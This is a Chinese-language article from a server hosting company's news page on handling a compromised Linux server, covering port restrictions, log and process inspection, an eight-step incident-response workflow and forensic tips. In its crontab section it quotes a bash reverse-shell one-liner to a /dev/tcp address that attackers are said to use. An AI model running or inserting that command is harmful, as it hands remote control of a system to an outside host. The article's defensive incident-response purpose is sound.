新闻动态

服务器被攻击了怎么处理?别慌有方法!

发布日期:2020-12-08 16:49 | 文章来源:YINGSOO

  【内容声明】本文收集整理于互联网,不确保内容真实性和质量度,仅供参考!若有服务器产品相关问题,请咨询[YINGSOO]在线客服,获取专业解答!

  【推荐产品】防DDOS服务器法国物理服务器加拿大云服务器美国高防低价服务器

  【精选文章】海外云主机服务提供商是做什么的?国外高防服务器租用要注意哪些问题?

  服务器被攻击了怎么处理?关于服务器被人攻击的处理,当然先要分两种情况,如果是大规模DDos抢注攻击的话,一般对付办法不多,根本办法是通过运营商做流量清洗,分布式部署系统分流。用一些基于公有云的防护手段(费钱,效果一般般),一些安全公司昂贵的设备(作用也不大,有钱就可以多买)。

  一般性防护手段

  一般性防护手段,通过硬防或者软防火墙比如iptables,主要要限制服务器端口访问,除了必须的80,443以外其他端口一律不对外开放。

  关于对外开放端口限制和检测的访问,我的原创文章都提过几篇介绍过:

  「安全扫描」看好你的大门,企业安全端口扫描实践

  基本上就是在外面扫描你服务器ip,看都开了那些端口,对不该开放端口开放的话就封禁掉。主要对外开放的危险端口有 所有udp端口(比如最近大规模针对github的攻击,就用对外开放的memcache udp 11211 udp端口进行的反射式攻击),tcp重点关注端口: 21(ftp),22(ssh) 23(telnet),2181(zookeeper),3306(mysql),6379(redis),8161和61616(mq),11211(memcache),27017/27018(mongodb),9200(elasticsearch)还有其他的根据企业部署情况来增加。

  在服务上查看开放的监听端口情况使用命令:

  netstat -ntualp

  Local地址 类似于 0.0.0.0:3306和 :::22的监听的服务器就要重点关注,一般除了web都不应该对外开放。

  对web服务:

  1、注意升级所用程序的版本,有漏洞的要及时升级(比如dedecms,struts2的漏洞等),部署的时候注意权限设置,不给多余的权限。

  2、部署必要的waf系统,安利下笔者有个开源免费的waf,有需要的可以联系我。服务器被攻击了怎么处理

  3、部署时候精良先通过CDN或者自己用nginx返乡代理来对用户,不直接把php 应用、tomcat应用服务器对外,这样即可以提高访问效率,增加访问并发,还可以低于短期大流量访问的冲击。

  如果服务器被人攻击,挂马了,怎么排除和解决

  常见异常情况:异常的流量、异常tcp链接(来源端口,往外发的端口)、异常的访问日志(大量的ip频繁的访问个别文件)。

  如果部署了监控系统的话(强烈建议部署zabbix,并增加对系统添加专门安全items),可以方便通过zabbix监控图和趋势对比了解这些信息:

  利用last,lastb发现异常的用户登录情况,ip来源。

  利用lastlog,/var/log/message,/var/log/secure,日志等,是否权限已经被攻陷。

  用history 发现shell执行情况信息。

  用top,ps,pstree等发现异常进程和服务器负载等情况。

服务器被攻击了怎么处理

  用netstat -natlp发现异常进程情况。用w命令发现当前系统登录用户的情况。

  如果发现异常用户,立即修改用户密码,pkill -kill -t tty 剔除异常用户。然后进行进一步处理。

  发现异常进程,立即禁止,冻结禁止。

  发现一个恶意进程后通过 ls -al /proc/Pid (Pid为具体的进程号),发现进程的启动路径,启动的文件所在目录等信息。

  如果发现异常连接数,通过iptables封禁相关端口或者ip

  iptables -I INPUT -s ip -j DROP

  iptables -I OUTPUT -p tcp --dport 25 -j DROP

  iptables -I INPUT -p tcp --dport 25 -j DROP

  对清理移动木马,杀掉进程

  首先清理掉木马创建的cron 计划项和启动项。

  ls -al /etc/proc/Pid/ 找的恶意木马文件。

  恶意进程的执行目录和文件

  最后用一条命令 kill -9 所有的进程ID && rm -rf 所有涉及的文件和目录。

  更多信息可以关注笔者的文章或者咨询笔者:

  遇到服务器被黑,很多人会采用拔网线、封 iptables 或者关掉所有服务的方式应急,但如果是线上服务器就不能立即采用任何影响业务的手段了,需要根据服务器业务情况分类处理。

  下面我们看一个标准的服务器安全应急影响应该怎么做,也算是小蚁网络从事安全事件应急多年以来的一些经验之谈,

  图 1:处理思路

  如上图,将服务器安全应急响应流程分为如下 8 个环节:

  发现安全事件(核实)

  现场保护

  服务器保护

  影响范围评估

  在线分析

  数据备份

  深入分析

  事件报告整理YINGSOO:www.Yingsoo.com

  接下来我们将每个环节分解,看看需要如何断开异常连接、排查入侵源头、避免二次入侵等。

  核实信息(运维/安全人员)

  根据安全事件通知源的不同,分为两种:

  外界通知:和报告人核实信息,确认服务器/系统是否被入侵。现在很多企业有自己的 SRC(安全响应中心),在此之前更多的是依赖某云。这种情况入侵的核实一般是安全工程师完成。

  自行发现:根据服务器的异常或故障判断,比如对外发送大规模流量或者系统负载异常高等,这种情况一般是运维工程师发现并核实的。

  现场保护(运维)服务器被攻击了怎么处理

  我们很多人看过大陆的电视剧《重案六组》,每次接到刑事案件,刑警们第一时间就是封锁现场、保存现场原状。

  同样道理,安全事件发生现场,跟刑事案件发生现场一样,需要保存第一现场重要信息,方便后面入侵检测和取证。

  保存现场环境(截图)

  相关信息采集命令如下:

  进程信息:ps axu

  网络信息:netstat –a

  网络+进程:lsof / netstat -p

  攻击者登陆情况(截图)

  相关信息采集命令如下:

  查看当前登录用户:w 或 who -a

  服务器保护(运维/机房)

  这里的现场保护和服务器保护是两个不同的环节,前者注重取证,后者注重环境隔离。

  核实机器被入侵后,应当尽快将机器保护起来,避免被二次入侵或者当成跳板扩大攻击面。

  此时,为保护服务器和业务,避免服务器被攻击者继续利用,应尽快迁移业务,立即下线机器。

  如果不能立即处理,应当通过配置网络 ACL 等方式,封掉该服务器对网络的双向连接。

  影响范围评估(运维/开发)

  一般是运维或者程序确认影响范围,需要运维通过日志或者监控图表确认数据库或者敏感文件是否泄露,如果是代码或者数据库泄露了,则需要程序评估危害情况与处置方法。

  影响访问评估一般从下面几点来入手:

  具体业务架构:Web(PHP/Java, WebServer), Proxy, DB等。

  IP 及所处区域拓扑等:VLAN 内服务器和应用情况。

  确定同一网络下面服务器之间的访问:可以互相登陆,是否需要 Key 或者是密码登录。

  由此确定检查影响范围,确认所有受到影响的网段和机器。

  在线分析(安全人员/运维)

  这时需要根据个人经验快速在线分析,一般是安全人员和运维同时在线处理,不过会涉及多人协作的问题,需要避免多人操作机器时破坏服务器现场,造成分析困扰。

  之前澳创遇到一个类似的问题,就是运维排查时敲错了 iptables 的命令,将 iptables -L 敲成 iptables -i 导致 iptables-save 时出现异常记录,结果安全人员上来检查时就被这条记录迷惑了,导致处理思路受到一定干扰。

  所有用户 History 日志检测

  关键字:wget/curl, gcc, 或者隐藏文件, 敏感文件后缀(.c,.py,conf, .pl, .sh)。

  检查是否存在异常用户。

  检查最近添加的用户,是否有不知名用户或不规范提权。

  找出 root 权限的用户。

  可以执行以下命令检查:

  grep -v -E ^# /etc/passwd | awk -F: '$3 == 0 { print $1}'

  反连木马判断

  netstat –a

  注意非正常端口的外网 IP

  可疑进程判断

  判断是否为木马 ps –aux

  重点关注文件(隐藏文件), Python脚本,Perl脚本,Shell 脚本(bash/sh/zsh)。

  使用 which,whereis,find 定位。

  Crontab 检测

  不要用 crontab –l 查看 crontab(绕过检测),也有通过写 crontab 配置文件反弹Shell 的,澳创接触过几次,一般都是使用的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1。

  系统日志检测

  检查 sshd 服务配置文件 /etc/ssh/sshd_config 和系统认证日志 auth、message,判断是否为口令破解攻击。

  /etc/ssh/sshd_config 文件确认认证方式。

  确认日志是否被删除或者清理过的可能(大小判断)。

  last/lastb 可以作为辅助,不过可能不准确。服务器被攻击了怎么处理

  NHIDS 正常运行判断

  是否安装:ls /etc/ossec

  是否运行正常:ps axu |grep nhids,三个 nhids 进程则表示正常

  其他攻击分析

  抓取网络数据包并进行分析,判断是否为拒绝服务攻击,这里需要注意,一定要使用 -w 参数,这样才能保存成 pcap 格式导入到 wireshark,这样分析起来会事半功倍。

  tcpdump -w tcpdump.log

  安全相关的关键文件和数据备份(运维)

  可以同步进行,使用 sftp/rsync 等将日志上传到安全的服务器:

  打包系统日志:参考:$ tar -jcvf syslog.tar.bz2 /var/log

  打包 Web 日志:access log

  打包 History 日志(所有用户),参考:$ cp /home/user/,history user_history

  打包 crontab 记录

  打包密码文件:/etc/passwd, /etc/shadow

  打包可疑文件、后门、Shell 信息

  深入分析(安全人员)

  初步锁定异常进程和恶意代码后,将受影响范围梳理清楚,封禁了入侵者对机器的控制后,接下来需要深入排查入侵原因。一般可以从 Webshell、开放端口服务等方向顺藤摸瓜。

  Webshell 入侵 服务器被攻击了怎么处理

  使用 Webshell_check.py 脚本检测 Web 目录:

  $ python webshell_check.py /var/www/ >result.txt

  查找 Web 目录下所有 nobody 的文件,人工分析:

  $ find /var/www –user nobody >nobody.txt

  如果能确定入侵时间,可以使用 find 查找最近时间段内变化的文件:

  $ find / -ctime/-mtime 8

  利用 Web 漏洞直接反连 Shell

  分析 access.log:

  缩小日志范围:时间,异常 IP 提取。

  攻击行为提取:常见的攻击 exp 识别。

  系统弱口令入侵

  认证相关日志 auth/syslog/message 排查:

  爆破行为定位和 IP 提取。

  爆破是否成功确定:有爆破行为 IP 是否有 accept 记录。

  如果日志已经被清理,使用工具(比如John the Ripper)爆破 /etc/passwd,/etc/shadow。

  其他入侵

  其他服务器跳板到本机。

  后续行为分析

  History 日志:提权、增加后门,以及是否被清理。

  Sniffer:网卡混杂模式检测 ifconfig |grep –i proc。

  内网扫描:网络 nmap/ 扫描器,socks5 代理。

  确定是否有 rootkit:rkhunter, chkrootkit, ps/netstat 替换确认。

  后门清理排查

  根据时间点做关联分析:查找那个时间段的所有文件。

  一些小技巧:/tmp 目录, ls –la,查看所有文件,注意隐藏的文件。

  根据用户做时间关联:比如 nobody。

  其他机器的关联操作

  其他机器和这台机器的网络连接 (日志查看)、相同业务情况(同样业务,负载均衡)。

  整理事件报告(安全人员)

  事件报告应包含但不限于以下几个点:

  分析事件发生原因:事件为什么会发生的原因。

  分析整个攻击流程:时间点、操作。

  分析事件处理过程:整个事件处理过程总结是否有不足。

  分析事件预防:如何避免事情再次发生。

  总结:总结事件原因,改进处理过程,预防类似事件再次发生。

  处理中遇到的比较棘手的事情

  日志和操作记录全被删了,怎么办?

  strace 查看 losf 进程,再尝试恢复一下日志记录,不行的话镜像硬盘数据慢慢查。这个要用到一些取证工具了,dd 硬盘数据再去还原出来。

  系统账号密码都修改了,登不进去?

  重启进单用户模式修改 root 密码,或者通过控制卡操作,或者直接还原系统,都搞不定就直接重装吧。

  使用常见的入侵检测命令未发现异常进程,但是机器在对外发包,这是怎么回事?

  这种情况下很可能常用的系统命令已经被攻击者或者木马程序替换,可以通过 md5sum 对比本机二进制文件与正常机器的 md5 值是否一致。

  如果发现不一致,肯定是被替换了,可以从其他机器上拷贝命令到本机替换,或者 alias 为其他名称,避免为恶意程序再次替换。

  被 getshell 怎么办?

  漏洞修复前,系统立即下线,用内网环境访问。

  上传点放到内网访问,不允许外网有类似的上传点,有上传点,而且没有校验文件类型很容易上传 Webshell。

  被 getshell 的服务器中是否有敏感文件和数据库,如果有请检查是否有泄漏。

  hosts 文件中对应的 host 关系需要重新配置,攻击者可以配置 hosts 来访问测试环境。

  重装系统。

  案例分析

  上面讲了很多思路的东西,相信大家更想看看实际案例,下面介绍两个案例。

  案例 1

  一个别人处理的案例,基本处理过程如下:

  通过外部端口扫描收集开放端口信息,然后获取到反弹 Shell 信息,登陆机器发现关键命令已经被替换,后面查看 History 记录,发现疑似木马文件,通过简单逆向和进程查看发现了异常进程,从而锁定了入侵原因。

  遇到服务器被黑,很多人会采用拔网线、封 iptables 或者关掉所有服务的方式应急,但如果是线上服务器就不能立即采用任何影响业务的手段了,需要根据服务器业务情况分类处理。

  下面我们看一个标准的服务器安全应急影响应该怎么做,也算是小蚁网络从事安全事件应急多年以来的一些经验之谈,

  图 1:处理思路

  如上图,将服务器安全应急响应流程分为如下 8 个环节:

  发现安全事件(核实)

  现场保护

  服务器保护

  影响范围评估

  在线分析

  数据备份

  深入分析

  事件报告整理

  接下来我们将每个环节分解,看看需要如何断开异常连接、排查入侵源头、避免二次入侵等。

  核实信息(运维/安全人员)

  根据安全事件通知源的不同,分为两种:

  外界通知:和报告人核实信息,确认服务器/系统是否被入侵。现在很多企业有自己的 SRC(安全响应中心),在此之前更多的是依赖某云。这种情况入侵的核实一般是安全工程师完成。

  自行发现:根据服务器的异常或故障判断,比如对外发送大规模流量或者系统负载异常高等,这种情况一般是运维工程师发现并核实的。

  关键词:服务器被攻击了怎么处理,服务器被攻击了

  YINGSOO曾被评为IDC行业优选服务商,是一家专业提供香港服务器、香港云服务器、香港高防服务器租用、美国服务器、美国云服务器等境外服务器租用托管服务的IDC厂商。全国统一服务热线:400-630-3752

  香港主机套餐,快速稳定,选知名品牌YINGSOO

  Yingsoo香港主机套餐采用CN2电信直连香港,速度延迟低至10ms,快速,安全,稳定,免备案9年运营经验, 服务超过1200家企业客户,连续9年香港主机套餐销量持续增长

  https://www.yingsoo.com/products/cloud-hk.html

  YINGSOO日本独享主机租用3天免费试用,海外云主机品牌

  好网络,不怕晒!日本独享主机租用免费试用,独享控制面板,海外云服务品牌2019年日本独享主机租用销量再度破表,1200家企业共同选择,高达95%的续约率

  https://www.yingsoo.com/products/cloud-jp.html

版权声明:本站文章来源标注为YINGSOO的内容版权均为本站所有,欢迎引用、转载,请保持原文完整并注明来源及原文链接。禁止复制或仿造本网站,禁止在非www.yingsoo.com所属的服务器上建立镜像,否则将依法追究法律责任。本站部分内容来源于网友推荐、互联网收集整理而来,仅供学习参考,不代表本站立场,如有内容涉嫌侵权,请联系alex-e#qq.com处理。

相关文章

实时开通

自选配置、实时开通

免备案

全球线路精选!

全天候客户服务

7x24全年不间断在线

专属顾问服务

1对1客户咨询顾问

在线
客服

在线客服:7*24小时在线

客服
热线

400-630-3752
7*24小时客服服务热线

关注
微信

关注官方微信
顶部